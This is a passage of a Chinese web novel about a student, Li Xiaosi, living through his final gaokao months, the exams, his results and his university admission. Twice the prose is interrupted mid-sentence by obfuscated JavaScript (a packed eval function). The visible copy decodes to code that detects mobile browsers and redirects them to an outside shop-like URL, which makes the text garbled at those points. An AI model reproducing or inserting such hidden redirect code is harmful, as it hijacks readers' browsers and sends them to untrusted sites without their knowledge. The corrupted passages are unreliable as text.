教室里的倒计时已经重新写过了,从“距高考还有280天”变成了“距高考还有118天”。那个数字是用红色粉笔写的,写在黑板的右上角,每天由值日班长擦掉旧的、写上新的。118天,不到四个月。李小四看着那个数字,觉得它像一个路口,一天一天地靠近,你站在路口这边,能看到对面,但不知道走过去之后是什么。 黑板上的倒计时下面,多了一行字:“乾坤未定,你我皆是黑马。”不知道是谁写的,字迹娟秀,像是女生的笔迹。李小四每次抬头看到这行字,心里都会动一下。“乾坤未定”——一切都还没有定下来,每个人都有机会。他需要这句话,因为在高三下学期的压力下,他有时候会觉得自己不行,会觉得别人都比他强,会觉得再怎么努力也追不上。但这行字告诉他,不是的,乾坤未定,你还可以。 林小美也开学了。她保送了,但她还是每天都来学校。她坐在一班教室的最后一排,靠窗的位置,桌上堆着大学的物理教材和竞赛题集。她不再做高中的题了,但她还是会帮李小四讲题,会在奶茶店里等他,会把橘子放在他的桌上。她的存在,对他来说,是一种无声的支撑——不管他在哪里,不管他在做什么,他知道她在。 开学的第一天,周老师开了一个简短的班会。他站在讲台上,穿着一件深灰色的夹克,头发比上学期更乱了,眼睛下面有很深的黑眼圈,看起来比学生还累。 “最后一百多天,”他说,声音有点沙哑,“我不跟你们讲大道理了,大道理你们都听腻了。我就说三件事。第一,身体是革命的本钱。别熬夜熬太晚,该睡觉睡觉,该吃饭吃饭。第二,心态比知识重要。别跟自己过不去,别跟分数过不去,考好了不飘,考差了不崩。第三,坚持。一百多天,说长不长,说短不短,咬咬牙就过去了。” 他停了停,目光扫过全班。 “我说完了。你们加油。” 教室里响起了掌声。不是那种热烈的、激动的掌声,而是安静的、克制的、像是在说“我们知道”的掌声。李小四鼓掌鼓得很用力,手掌都拍红了。他看着周老师那张疲惫的脸,觉得这个平时话不多、看起来什么都不在乎的中年男人,其实什么都在乎。他在乎他们的成绩,在乎他们的身体,在乎他们的未来。他只是不说。 二月的日子,过得像打仗。 每一天都有新的试卷,每一科都有新的任务。数学卷子、语文卷子、英语卷子、理综卷子,一张接一张,像雪花一样飘下来,堆在桌上,堆成了小山。李小四的书桌已经不够用了,试卷铺满了整张桌面,课本和笔记本摞在旁边,摇摇欲坠。他每天早上到教室的第一件事,就是把昨天的试卷整理好,按科目分类,夹进文件夹里。文件夹已经换了好几个了,每一个都塞得鼓鼓囊囊的,拉链都快拉不上了。 他的生活变成了一种机械的节奏。早上六点起床,背英语单词。七点到校,早读,背诵古诗词和文言文。八点上课,四节课,中间有课间,但课间他很少出去,大部分时间都在整理笔记或者做几道选择题。中午十二点下课,食堂吃饭,十五分钟吃完,回教室,趴桌上睡十五分钟。下午两点上课,四节课,到六点。晚饭二十分钟,然后晚自习,三节课,到九点半。回家,继续做题,到十一点半。睡觉。第二天,重复。 这种节奏不是他一个人在执行,整个高三年级都在执行。教学楼五楼的灯每天晚上亮到很晚,走廊上有人在背书,教室里有人在刷题,办公室里有老师在答疑。每一个人都在用自己的方式熬着这一段日子,每一个人都在跟自己较劲。 李小四的模考成绩在慢慢提高。一模,班级第十名。二模,班级第八名。三模,班级第六名。每一次进步都不大,一两名,但每一次都在往前。他的物理从八十八进步到了九十二,数学从九十三进步到了九十六,英语从八十三进步到了八十七。每一科的进步都不大,但加起来,就是名次的进步。 他把成绩告诉林小美的时候,林小美总是说“不错”,然后给他一道物理竞赛题做。那道题通常是他在课本上找不到的,要用他没有学过的方法。他一开始做不出来,林小美就给他讲,讲完之后他再做,做出来之后,他发现自己对物理的理解又深了一层。 “你做这些竞赛题有什么用?我又不参加竞赛。”他有一次问她。 “让你换换脑子。”林小美说,“高考题做多了会麻木,换一种题型,脑子就醒了。” 李小四觉得她说得对。高考题做多了确实会麻木,你会形成一种惯性,看到一道题就下意识地往套路里套,不会去想有没有别的解法。竞赛题不一样,竞赛题没有套路,每一道题都要从头想。做竞赛题的过程,就是重新激活大脑的过程。 三月的风开始变暖了。 操场边的那排银杏树,又冒出了嫩绿色的芽。小小的,嫩嫩的,像刚从壳里探出头的小鸟。李小四每次经过那排树的时候,都会想起林小美说过的话——“树又活了。人也是,每年都活,每年都不一样。”他看着那些嫩芽,觉得自己也在活,也在变。不是那种翻天覆地的变,而是缓慢的、不易察觉的、像树发芽一样的变。你看着它的时候,它不动。你过几天再看,它已经长出了叶子。 三月底,学校举行了高考百日誓师大会。 全年级六百多个学生站在操场上,按班级列队,每个人手里都拿着一面小红旗。主席台上拉着一条红色横幅,上面写着“决战高考,圆梦六月”八个大字,跟高一时候的誓师大会差不多,但气氛完全不一样。高一的时候,大家还在笑,还在闹,还在觉得高考很远。现在没有人笑了,每个人的表情都很严肃,有些人甚至眼眶是红的。 校长讲话,年级主任讲话,老师代表讲话,学生代表讲话。该讲的都讲了,该听的都听了。李小四站在队伍里,听着那些话,觉得每一句都听过,但又觉得每一句都比以前重了一些。不是因为话变了,而是因为他离高考更近了。同样的话,在不同的距离听,分量是不一样的。 学生代表是林小美。 她站在主席台上,穿着一件白色的校服衬衫,头发扎成高马尾,手里拿着话筒。她看着台下六百多张脸,沉默了两秒钟,然后开口了。她的声音不大,但很清晰,每个字都像落在玻璃上的雨滴,干干净净的。 “同学们好,我是高三(1)班的林小美。” “我已经被保送了,不用参加高考。但我今天站在这里,不是来跟你们说‘加油’的。我想说的是——不管结果怎么样,你们都要相信,这三年没有白过。” “你们刷过的每一道题,背过的每一个单词,熬过的每一个夜,都是你们走过的路。这些路不会因为一次考试而被否定。它们会成为你们的一部分,不管你们去哪里,做什么,它们都会跟着你们。” “所以,不要怕。不要怕考不好,不要怕失败,不要怕让谁失望。你们已经做得很好了。剩下的,交给时间。” 她说完这些,鞠了一躬,走下台。 操场上安静了一瞬,然后响起了掌声。不是那种客套的、礼貌性的掌声,而是真正的、发自心底的、带着感动和力量的掌声。李小四鼓掌鼓得很用力,手掌都拍红了。他的眼眶热了,但没有哭。他忍住了,因为林小美说过,不要怕。他不怕。 誓师大会之后,日子忽然变得更快了。 黑板上的倒计时数字一天比一天小:98、97、96、95……每一个数字的消失,都像一声轻轻的叹息。你知道它走了,你知道它不会回来,你只能看着下一个数字,继续往前走。 李小四的模考成绩继续在进步。四模,班级第五名。五模,班级第四名。他的物理考了九十五,数学考了九十七,英语考了九十。每一科都突破了历史新高,每一科都让他觉得自己的努力没有白费。 他把成绩告诉林小美的时候,林小美说了一句让他意外的话:“你现在的成绩,可以冲一冲省师范大学了。” 李小四愣了一下。省师范大学,林小美保送的那所。他以前觉得那所学校离他很远,远到像天边的云,看得见摸不着。但现在,他的模考成绩已经达到了那所学校往年的录取线。不是擦线,是稳进。 “真的?”他问。 “真的。”林小美说,“你现在的排名,在我们学校能排到前五十。省师范大学在我们省招一百多人,你稳进。” 李小四坐在座位上,看着窗外的天空。天很蓝,云很白,一架飞机从云层里穿出来,拖着一条长长的白色尾巴。他看着那架飞机,觉得自己好像也能飞了。不是真的能飞,而是觉得那条路通了,他可以走过去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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最后一周,不上新课,不考试,学生自己复习,老师在校答疑。李小四坐在教室里,看着那些他坐了三年、坐了两年、坐了一年的桌椅。许哲坐在他旁边,还是在看物理题,但看的速度明显慢了,一页要看很久,像是在慢慢地、仔细地品尝最后的味道。 “许哲,你紧张吗?”李小四问。 “不紧张。”许哲说,“准备好了就不紧张。” “你准备好了吗?” “准备好了。” 李小四看着许哲的侧脸。他戴着黑框眼镜,表情平静,看不出任何情绪。但李小四注意到,他的笔在手里转来转去,转得很快,那是他紧张时的小动作。 “你骗人。”李小四说。 许哲推了推眼镜,嘴角动了一下:“有一点。” 李小四笑了。他转过头,看着窗外。操场上有高一的学生在上体育课,跑啊跳啊笑啊,无忧无虑的样子。他想起三年前的自己,也是这样在操场上疯跑,不知道高考是什么,不知道大学是什么,不知道未来是什么。现在他知道了,或者说,他正在知道。 六月三号,毕业典礼。 礼堂里坐满了人,六百多个学生,一百多个老师,还有一些家长。校长讲话,老师代表讲话,学生代表讲话。该讲的都讲了,该听的都听了。轮到林小美作为学生代表发言的时候,她走上台,站在话筒前,沉默了几秒钟。 “同学们,我们毕业了。”她说,声音有点抖,但很清晰,“这三年,我们一起走过。有过笑,有过泪,有过迷茫,有过坚持。不管高考考得怎么样,我们都不要忘了这三年。因为这三年,比一张录取通知书重要得多。” 她的眼眶红了,但没有哭。 “谢谢你们。”她鞠了一躬,走下台。 礼堂里响起了掌声。很多人哭了,女生哭,男生也哭,有些老师也哭了。李小四没有哭,但他的鼻子酸了很久,酸到散场的时候还觉得有什么东西堵在里面,不通气。 他走出礼堂,站在走廊上,看着远处的天空。天很蓝,云很白,一架飞机从云层里穿出来,拖着一条长长的白色尾巴。他看着那架飞机,想起三年前,他走进这个学校的时候,还是一个什么都不懂的毛头小子。现在他要走了,带走了一千多个日夜,带走了一千多个故事,带走了一千多个自己。 他掏出手机,给林小美发了一条消息:“毕业了。” 过了几分钟,林小美回:“嗯。” “你哭了吗?” “没有。你呢?” “也没有。” “那我们都长大了。” 李小四看着这行字,心里涌起一种说不清的感觉。不是难过,不是高兴,而是一种更安静的、更深的东西——像河水汇入大海,不再奔腾,不再咆哮,只是静静地、慢慢地,融入更大的水域。 他长大了。他们都长大了。 38. 高考来临 高考前的那天晚上,李小四失眠了。 不是那种翻来覆去、辗转反侧的失眠,而是一种奇怪的、清醒的失眠。他躺在床上,眼睛闭着,脑子却异常清醒,像一潭被月光照透的水,什么都看得见,什么都想得起来。他想起三年前的今天,中考前夜,他也是这样躺在床上,心跳得很快,担心自己考不上县一中。那时候他不知道三年后自己会在哪里,不知道自己能不能考上高中,不知道自己的未来长什么样。现在他知道了。他知道自己会走进高考的考场,会做完那些试卷,会等一个分数,会去一所大学,会成为一个老师。这条路,他已经走了很久,走了很远,走到今天,只剩下最后几步了。 窗外的月光很亮,透过窗帘的缝隙照进来,在地板上画出一条细细的白线。他看着那条白线,想起很多事。想起初一那个考38分的下午,妈妈在饭桌上流眼泪,他低着头不敢看她。想起马老师把那本卷了边的练习册递给他,说“每天做十道,做完拿给我看”。想起姐姐深夜一条接一条的语音,讲到声音都哑了。想起大壮站在路灯下挥手,说“你好好考,考上高中了给我发个消息”。想起林小美在栀子花树下说“谢谢你帮我保守秘密”,笑着说“录取通知书到了给我发个消息”。 这些画面像电影一样在他脑子里一帧一帧地过,每一帧都清晰得像昨天才发生。他觉得自己好像做了一个很长的梦,梦里他走了一条很长的路,路上有很多人,有妈妈,有爸爸,有姐姐,有马老师,有沈老师,有大壮,有林小美。他们陪着他走了一段又一段,有些人还在,有些人已经走远了,但他们都在他的记忆里,活生生的,有温度的。 他拿起手机看了一眼,凌晨一点二十。他放下手机,闭上眼睛,强迫自己数羊。数到五十多只的时候,脑子里忽然冒出一个数学公式——正弦定理,a/sinA=b/sinB=c/sinC。他想起王老师在黑板上推导这个公式的时候,粉笔字写得很好看,每一步都很清楚。然后他又想起林小美在奶茶店里给他讲这道题的样子,她讲得很慢,每一个步骤都写得很详细。他想着想着,不知道什么时候就睡着了。 闹钟响的时候,天已经亮了。 他睁开眼睛,看到阳光从窗帘的缝隙里挤进来,在枕头上画出一个明亮的光斑。他坐起来,揉了揉眼睛,觉得头有点重,但脑子是清醒的。他洗漱完,走到客厅,妈妈已经把早饭做好了。面条,卧了两个荷包蛋,汤上面漂着几滴香油和一把葱花,热气腾腾的。爸爸坐在餐桌前,面前也是一碗面,但他没怎么吃,一直在看李小四。 “多吃点,”妈妈说,“考试费脑子。” 李小四低头吃面。面条很烫,他吹了好几口才敢往嘴里送。他吃得很慢,每一口都嚼很久,不是因为不饿,而是想慢慢吃完这顿饭。这顿饭之后,他就要去考场了。考完之后,他的高中就结束了。 “妈,我走了。” “等一下。”妈妈从房间里拿出一个红色的袋子,递给他,“带上。保平安的。” 李小四打开袋子,里面是一根红绳,编得很细,中间穿了一个小小的玉坠,玉坠是白色的,透亮,在光下闪着温润的光。他不知道妈妈什么时候买的这个,也许是很久以前就买好了,一直等到今天才给他。 “妈帮你戴上。”妈妈拿起红绳,系在他的左手腕上。她的手很暖,指尖微微发抖,系了好几次才系好。李小四低头看着那根红绳,玉坠贴在皮肤上,凉凉的,但很快就变暖了。 “考完再摘。”妈妈说。 “好。” 李小四背上书包,走到门口。爸爸站起来,走到他面前,拍了拍他的肩膀。那只手很粗糙,手指粗壮,指甲缝里有洗不掉的油污。但那只手很有力,拍在他肩膀上,像在说“你可以的”。 “爸,我走了。” “去吧。爸等你回来。” 李小四走出家门,走下楼梯。楼道里的灯是声控的,他的脚步声一响,灯就亮了,昏黄的光照在灰白的墙壁上,把影子拉得很长。他走到楼下,跨上电动车,拧了一下油门,车子慢慢地开了出去。 六月的早晨,风是凉的。阳光已经升起来了,照在街道上,把路面晒得发白。街上的行人不多,有几个老人坐在路边聊天,手里拿着扇子,慢慢摇。包子铺已经开门了,蒸笼冒着热气,香味飘得满街都是。李小四经过包子铺的时候,老板朝他喊了一声:“小伙子,高考加油!”他愣了一下,然后笑了,朝老板挥了挥手。 考点设在县一中高中部。他在这所学校读了三年,每一栋楼、每一条路、每一棵树都熟悉得不能再熟悉了。但今天走进校门的时候,他觉得自己像一个陌生人——不是因为不认识,而是因为今天的身份不一样了。以前他是这里的学生,今天他是这里的考生。考完这三天,他就不再是这里的学生了。 考场在教学楼的三层。他找到自己的座位,靠窗第二排,桌面平整,椅子不晃,阳光从窗户照进来,刚好照在他的桌角上。他把笔袋和准考证放在桌上,坐下来,深呼吸。心跳不快,也不慢,刚好在一个让他觉得舒服的频率上。他想,也许是因为这条路他走了太久,久到已经不再害怕了。也许是因为他知道,不管考得怎么样,他都尽力了。 第一场是语文。 试卷发下来的时候,他先翻到后面看了看作文题目。作文题目是“回望”。两个字,没有更多的说明。他看着这两个字,脑子里冒出来的第一个画面是初中教室里的那扇窗户——阳光从窗户照进来,落在课桌上,木纹被照得发亮,旁边坐着林小美,她在低头写字,马尾辫垂在肩膀上,发梢微微卷曲。他看着那个画面,觉得那不是回望,那是他一直在看的东西。他从来没有离开过那个画面,它一直在他的脑子里,在他心里,在他每一次闭上眼睛之后。 他翻回第一页,开始答题。 基础知识部分做得不慢,古诗词默写都是他背过的,《劝学》里的“青,取之于蓝,而青于蓝”,《师说》里的“闻道有先后,术业有专攻”,写的时候笔尖在纸上流畅地滑过,没有卡顿。文言文阅读是《陈情表》的节选,李密写的,他在高二的时候学过,大意都记得,题目做起来不算难。阅读理解是一篇小说,讲的是一个老人和他的狗的故事,文字朴实,情感克制,题目也不刁钻。 做完这些,他看了一眼时间,还剩五十分钟。 他翻到作文页面,在草稿纸上写下了题目:“回望”。然后他提起笔,开始写。 “回望,不是回头看,是往回走。走回那些日子,走回那些人,走回那些已经过去但永远不会消失的时光。” 他写了初中的教室。写了那扇窗户,写了那个座位,写了那个坐在他旁边、安静做题的女孩。写了她低头写字时长睫毛投在脸上的阴影,写了她吃橘子的时候嘴唇上沾着的汁水,写了她说的那句“手伸不直没关系,心直就行”。 “回望,望的不是风景,是人。是那些在你生命里出现过、停留过、然后走远的人。他们走了,但他们没有消失。他们活在你的记忆里,活在你说的每一句话里,活在你走的每一条路上。” 他写了高中的日子。写了分班之后的不适应,写了在走廊上等她下课的课间,写了奶茶店里的柠檬水和橘子,写了操场边那排银杏树从绿到黄从黄到落。写了那些她不在身边、但她的声音一直在耳边的日日夜夜。 “回望,望的也不是人,是自己。是那个从38分走到98分的自己,是那个从倒数第三走到正数第三的自己,是那个在无数个深夜咬着牙做题、一边哭一边笑的自己。那个自己,才是回望的终点。” 他写了最后一段: “回望完了,就要转身了。前面还有路,还要走。但回望过的路不会消失,它会变成脚下的石头,铺在新的路上。每一步踩上去,都是旧的,也是新的。” 写完之后,他放下笔,从头到尾读了一遍。读到“回望完了,就要转身了”的时候,他的眼眶热了一下。不是难过,是一种说不清的触动——他写的每一个字都是真的,每一句话都是他心里的话。他没有编造任何东西,没有为了感动阅卷老师而夸大任何情感。他只是把自己走过的路写了下来,用最朴素的语言。 他检查了一遍卷面,把几处涂改的地方修整了一下,然后交了卷。 走出考场的时候,阳光正好。十一点钟的太阳挂在东南方向,不烈,但很亮,照在教学楼的白色墙面上,反射出一片耀眼的光。他站在走廊上,深深地吸了一口气,空气里有六月的热,有远处食堂飘来的饭菜香,有阳光晒在水泥地上的味道。 他掏出手机,给林小美发了一条消息:“语文考完了。” 过了几分钟,林小美回:“怎么样?” “还行。作文写的回望。” “写的什么?” “写了你。” 林小美没有回。过了很久,大概有五六分钟,她才发了一条消息:“你考试的时候能不能专心一点?” 李小四笑了。他想象林小美说这句话的时候,一定是皱着眉头的,但嘴角一定是弯着的。 下午考数学。 数学是他的强项,但高考数学跟平时做的模拟题不一样。题目更活,陷阱更多,一不小心就会掉进去。他拿到试卷的时候,先从头到尾看了一遍,在心里评估了一下每道题的难度。前面的选择题不算难,填空题有几道有点绕,大题最后一道看起来很难,他决定先做前面的,最后再啃那块硬骨头。 他一道一道地做,不急不躁。遇到拿不准的,先圈出来跳过去。做完一遍之后,他回过头来做那些跳过的题。有些想通了,有些还是拿不准,他把拿不准的再圈一遍,等做完所有题之后再回来想。到最后,只剩下一道选择题和一道大题的一小问他实在不会。他没有纠结,随便选了一个答案填上去,然后在草稿纸上把那道大题的步骤尽可能完整地写了出来。 交卷的时候,他把试卷翻过来看了一眼,卷面上写满了字,密密麻麻的。他不知道能考多少分,但他知道,他已经做了自己能做的所有事。 走出考场的时候,天已经快黑了。六月的天黑得晚,六点多钟太阳才落山,七点钟的时候天边还剩一抹橘红色的余晖。他站在教学楼前的台阶上,看着天边那抹红色一点一点地暗下去,像有人用一块橡皮在慢慢地擦。 手机震了一下。是林小美发来的消息:“数学难吗?” “有点。最后一道大题只做了一半。” “别人也做不出来。别想了。” “嗯。” “明天考理综和英语。理综你注意时间分配,英语你注意阅读。” “知道了。” 他骑着电动车回家。六月的风吹在脸上,温热的,不像春天那样凉,也不像夏天那样烫,就是温温的,像有人用手掌轻轻地捂着你的脸。路灯已经亮了,橘黄色的光洒在路面上,把他的影子拉得很长。他经过烤肠摊的时候,老板正在收摊,看到他,喊了一句:“小伙子,考得怎么样?”他说“还行”,老板说“那就行,明天继续加油”。 到家的时候,妈妈已经把饭菜端上桌了。红烧排骨、清炒时蔬、番茄蛋花汤,都是他爱吃的。爸爸坐在餐桌前,面前放着一瓶啤酒,已经喝了大半瓶,脸有点红。他看到李小四进门,站起来,说:“回来了?洗手吃饭。” 李小四洗了手,坐在餐桌前。妈妈给他盛了一碗饭,递给他。他低头吃饭,吃得很慢,每一口都嚼很久。爸爸没有问他考得怎么样,妈妈也没有问。他们只是坐在对面,看着他吃,偶尔给他夹菜。 “妈,我数学最后一道大题没做出来。”他忽然说。 妈妈愣了一下,然后说:“没做出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444088|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就没做出来,又不是只有那道题。” “就是,”爸爸接话了,“一道题能有多少分?别的做对了就行。” 李小四没有说话。他低头继续吃饭,心里那种闷闷的感觉散了一些。他知道爸爸妈妈不懂高考,不懂那些题目有多难,不懂一分能拉开多少名次。但他们懂他。他们知道他在难过,所以他们说“没做出来就没做出来”,他们说“别的做对了就行”。这些话不是安慰,是信任。他们相信他,相信他已经做了他能做的。 晚上,他躺在床上,又失眠了。 不是因为紧张,而是因为脑子里一直在想那道没做出来的大题。他躺在床上,在脑子里重新演算了一遍,每一步都清清楚楚,算到最后,答案出来了。他知道怎么做了。但在考场上,他没有想出来。 他拿起手机,给林小美发了一条消息:“那道大题,我想出来了。” 过了几分钟,林小美回:“想出来了也没用了。别想了。睡觉。” “睡不着。” “数羊。” “数了。数到三百多只了。” “那就数到一千只。” 李小四笑了。他闭上眼睛,继续数羊。数到五百多只的时候,他想起林小美说“数到一千只”的时候,语气一定是那种淡淡的、带着一点无奈又带着一点宠溺的。他想着她说话的样子,不知道什么时候就睡着了。 理综和英语考得还算顺利。 理综的物理部分比数学简单一些,他做得很顺手。化学和生物也还行,没有遇到特别难的题。英语他一直是最弱的,但经过三年的努力,尤其是林小美的帮助,他已经从及格线边缘进步到了一百二十分以上的水平。他做完阅读理解的时候,看了一眼时间,还有十五分钟。他检查了一遍,改了两道选择题的答案,不知道改对了还是改错了。 最后一科考完的时候,铃声响了。 “考试结束,请考生立即停笔。” 教室里安静了一瞬,然后像决堤的洪水一样,爆发出一阵巨大的喧闹声。有人在欢呼,有人在尖叫,有人在哭。李小四坐在座位上,一动不动,看着窗外的天空。天很蓝,云很白,一架飞机从云层里穿出来,拖着一条长长的白色尾巴,慢慢地从天空的这一头飞到那一头。 他看着那架飞机,觉得自己也像一架飞机,飞了很久,飞了很远,终于落地了。不是终点,是落地。休息一下,加满油,还要再飞的。 他站起来,收拾好笔袋和准考证,走出考场。走廊上挤满了人,有人在拥抱,有人在拍照,有人在打电话。他穿过人群,走下楼梯,走到一楼的时候,看到了林小美。 她站在花坛边,手里拿着一个透明文件袋,正在看手机。她穿着一件白色的连衣裙,头发散着,没有扎马尾,风吹过来,把她的头发吹得有些乱。她看到李小四,嘴角弯了一下,那个笑容很淡,但很真。 “考完了。”她说。 “考完了。”他说。 “感觉怎么样?” “还行。英语最后改了两道选择题,不知道改对了还是改错了。” “别想了。考完了就是考完了。” 李小四看着她,忽然问了一句:“林小美,你后悔吗?保送了,没有参加高考。” 林小美想了想,说:“不后悔。高考是一种体验,保送是另一种。我选择了保送,就不后悔。” “那你想体验高考吗?” 林小美看着他,沉默了几秒钟,说:“跟你一起在考场上做题,应该挺有意思的。但没机会了。” 李小四的心里动了一下。她说“跟你一起”的时候,语气很平淡,好像在说一件很普通的事。但“跟你一起”这四个字,在他心里激起了涟漪,一圈一圈的,荡了很久。 “走吧,”林小美说,“请我吃烤肠。” “你不是应该请我吗?你保送了。” “你考完了,应该你请。” “行,我请。” 他们走到学校门口的烤肠摊前,一人买了一根烤肠,刷上辣椒酱,咬一口,满嘴香。六月的风吹在脸上,温热的,烤肠的热气在风里散得很快,但嘴里还是热的。 “李小四,你以后想做什么?”林小美问。 “当老师。数学或者物理老师。” “那我们是同行。” “嗯,同行。” 他们站在摊子前,谁都没有说话。风吹过来,把烤肠的香气吹散了,但那股味道留在了记忆里。李小四知道,很多年以后,他闻到烤肠的味道,一定会想起今天。想起这个六月的傍晚,想起林小美站在他旁边,穿着白色连衣裙,头发被风吹乱,嘴角带着淡淡的笑。 “林小美,大学见。” “大学见。” 她骑上那辆天蓝色的自行车,走了。李小四站在原地,看着她的背影越来越小,最后消失在街道的拐角处。 他转过身,骑上电动车,往家的方向开。六月的风吹在脸上,温热的,路灯一盏一盏地从头顶掠过,光影交替,像电影里的蒙太奇。 到家的时候,妈妈站在门口。她没有说话,只是看着他,眼眶红红的。爸爸站在她身后,手里拿着手机,正在给姐姐打电话,说“考完了,小四考完了”。 李小四走进家门,把书包放在沙发上,坐在餐桌前。桌上摆着满满一桌菜,比过年还丰盛。他拿起筷子,夹了一块红烧肉,放进嘴里,慢慢地嚼。 “妈,我考完了。” 妈妈坐在他对面,眼泪终于掉了下来。她没有擦,就那么流着,一边流一边笑。 “考完了就好。考完了就好。” 李小四低头吃饭,眼泪也掉了下来,掉进碗里,混着米饭,一起咽了下去。 他长大了。但他还是会在妈妈面前哭。 这没什么丢人的。 39. 远方 高考结束后的那个晚上,李小四睡了整整十二个小时。 他从晚上九点一直睡到第二天早上九点,中间连翻身都没有。妈妈进来看了他三次,第一次是确认他还有呼吸,第二次是给他盖好踢掉的被子,第三次是站在门口看了他好一会儿,然后轻轻关上了门。他醒来的时候,阳光已经铺满了整张床,枕头上有口水干了的痕迹,头发乱得像鸡窝,眼睛肿得睁不开。他躺在床上,盯着天花板,看了好一会儿。天花板上的那道裂缝还在,弯弯曲曲的,跟三年前一模一样。他忽然觉得,三年过去了,很多东西变了,但天花板没变,裂缝没变,这间屋子没变。变的只是他自己。 他拿起手机,看到几十条消息。刘洋发了一条:“解放了!通宵打游戏来不来?”张瑞发了一条:“考完了,感觉身体被掏空。”大壮发了一条:“小四,考完了?好好休息,等你回来吃烤肠。”林小美没有发消息,但她在朋友圈发了一张照片——那排银杏树,夏天的银杏树是深绿色的,叶子厚厚的,密密层层的,在阳光下闪着光。照片没有配文字,只有一个句号。 李小四给她发了一条消息:“你拍银杏树了。” 过了几分钟,林小美回:“嗯。夏天的银杏树也很好看。” “你什么时候去拍的?” “今天早上。六点多。” “起那么早。” “睡不着。习惯了早起,生物钟调不回来了。” 李小四笑了。他也睡不着,虽然睡了十二个小时,但醒来之后就再也睡不着了。他的生物钟也调不回来了,三年的习惯,不是一天能改的。 接下来的日子,是漫长的等待。 成绩要六月底才出来,中间有将近二十天的空白。不像等中考成绩时那么焦虑,而是一种懒洋洋的、无所事事的漫长。像泡在一缸温水里,不冷也不热,不想动,也不想出来。李小四不知道做什么好。他尝试着打游戏,打了两局就不想打了。尝试着看电影,看了一半就睡着了。尝试着出去逛街,走了一会儿就觉得没意思。他发现自己除了学习,好像什么都不会。三年的高中生活把他变成了一个只会做题的人,现在不用做题了,他反而不知道该怎么活了。 他开始收拾房间。把高中三年的课本、试卷、笔记本全部搬下来,分类整理。数学一摞,语文一摞,英语一摞,理综一大摞。他把那些已经用不上的、以后也不会再看的,捆起来放在墙角,等收废品的来。那些他还想留着的——笔记本、错题本、林小美借给他的单词书、大壮寄来的信、校刊的复印件——放进抽屉里,跟那些旧的东西放在一起。 整理到一半的时候,他翻出了那本卷了边的练习册。马老师初一给他的那本。封面已经掉了,用透明胶粘着,里面的纸张泛黄了,边角卷曲,有些地方被水洇过,字迹模糊了。他翻开第一页,看到马老师写的批注:“去括号注意变号!”感叹号还是那么大,力透纸背。他看了很久,然后把练习册放进了抽屉里。他会一直留着。 他又翻出了那张38分的试卷。纸已经泛黄了,边角卷曲,折痕处快要断了。他看着那个红色的“38”,觉得那不是一个分数,而是一个起点。如果没有这个38分,他可能到现在还是那个浑浑噩噩的李小四,上课睡觉,回家打游戏,不知道明天要干什么。他不知道那个自己会变成什么样,但他知道,那个自己不会站在这里,不会收拾房间,不会等高考成绩,不会想去很远的地方。 他把试卷折好,也放进了抽屉里。 六月底的一个下午,李小四正在家里午睡,被手机震醒了。 是林小美打来的电话。她的声音很平静,但比平时快了一点:“成绩出来了。” 李小四从床上坐起来,心跳猛地加速了。“多少?” “你查了吗?” “还没有。” “那你查。查完了告诉我。” 李小四挂了电话,打开电脑,登录查分网站。他输入准考证号、身份证号、验证码,点击“查询”。网页加载了大概两秒钟。这两秒钟长得像两个世纪。 然后页面弹出来了。 姓名:李小四 语文:125 数学:138 英语:121 理综:265 总分:649 全省排名:第2847名 他盯着这个页面,看了整整一分钟。649分。全省2847名。他不知道自己是什么感觉,好像应该是高兴的,但又没有那种想跳起来的大喜。更多的是一种踏实,一种“尘埃落定”的平静。这个分数,比省师范大学往年的录取线高了三十分左右。他稳了。 他拿起手机,给林小美发了一条消息:“649。省2847。” 林小美秒回:“恭喜你。你考上了。” “你查了吗?” “我没有成绩。我保送的。” “哦,对。我忘了。” “你什么时候忘的?” “刚才。” 林小美发了一个省略号,然后说:“你可以报省师范大学了。稳进。” “嗯。我就报那个。” “不冲一下更好的?” 李小四想了想,打了几个字:“不冲了。那个就好。” 他没有说“因为你也在”。但林小美大概知道。她什么都没有回,只发了一个句号。句号不是结束,是省略。 填报志愿那天,李小四跟林小美在奶茶店碰了面。她帮着他一起填,一个一个地看学校代码、专业代码,确认了好几遍才提交。第一志愿,省师范大学,物理学专业。第二志愿,省师范大学,数学与应用数学专业。第三志愿,省师范大学,化学专业。三个志愿,全是同一所学校,不同的专业。 “你就不怕滑档?”林小美问。 “不怕。” “你这么有信心?” “不是有信心,是不想离开。” 林小美低下头,喝了一口柠檬水,没有说话。但她的耳朵红了,红得很明显,连头发都遮不住。李小四假装没有看到,也喝了一口柠檬水。酸酸的,甜甜的,跟以前一样。 七月中旬,录取通知书到了。 那天李小四正在家里帮妈妈洗菜,手机响了。是一个陌生的号码,他接起来,对方说是邮政快递的,有一份录取通知书需要本人签收。他放下菜,擦了擦手,跑下楼。快递员站在楼下,手里拿着一个红色的信封,上面印着“录取通知书”几个字,烫金的,在阳光下闪闪发光。 他签了字,接过信封,手指微微发抖。他站在楼下,拆开信封,抽出里面的通知书。是一张硬纸,上面印着省师范大学的校名和校徽,下面写着: “李小四同学:经省招生委员会批准,你被我校物理与电子工程学院物理学专业录取,请于九月十日持此通知书到校报到。” 下面盖着学校的红章,鲜红的,还带着油墨的味道。 他看了三遍。每一遍都觉得不真实。他想起初一那个考38分的自己,想起妈妈在饭桌上的眼泪,想起姐姐深夜一条接一条的语音,想起马老师递给他练习册时那只干燥的手,想起大壮站在路灯下挥手的样子,想起林小美在栀子花树下说“谢谢你帮我保守秘密”。那个自己无论如何也不会相信,六年后他会站在这里,手里拿着省师范大学的录取通知书。 他跑上楼,冲进家门。妈妈正在厨房里炒菜,爸爸在客厅里看报纸。 “妈!爸!录取通知书到了!” 